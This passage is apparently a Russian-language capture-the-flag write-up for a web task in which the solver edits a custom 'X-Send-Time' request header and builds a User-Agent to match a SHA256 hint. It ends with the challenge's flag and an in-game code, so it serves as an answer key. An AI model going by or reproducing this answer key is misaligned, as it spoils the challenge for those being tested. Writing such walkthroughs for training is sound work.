2. Указываем в поле ввода модель роутера, которую получили из игры. В ответ приходит сообщение, что на сайте технические работы в определенное время.
|
||||
3. Заходим в инструменты разработчика и наблюдаем, что в запросе имеется кастомный заголовок "X-Send-Time", который содержит текущее время участника.
|
||||
4. Необходимо указать в этом заголовке время, которое не попадает под время технического обслуживания.
|
||||
5. После успешного подбора времени придет ответ от сервера, что у нас неверный UserAgent ("Incorrect User-Agent. Hint: SHA256(<BrowserName>/<BVer> (<OSName> <OSVer>; <Arch>) <EngineName>/<EVer>) == {}").
|
||||
6. Данные для заполнения UserAgent необходимо найти во внутриигровом браузере. Информация расбросана по параметрам системы и браузера.
|
||||
8. После успешного подбора участник получит флаг и код, который необходимо ввести в игре.
|
||||
|
||||
## Флаг
|
||||
`caplag{4r!eNd_@m0ng_$tranGer$}`
|
||||
|
||||
## Код для игры
|
||||
`SVC-2025-7438382`
|
||||
Reference in New Issue
Block a user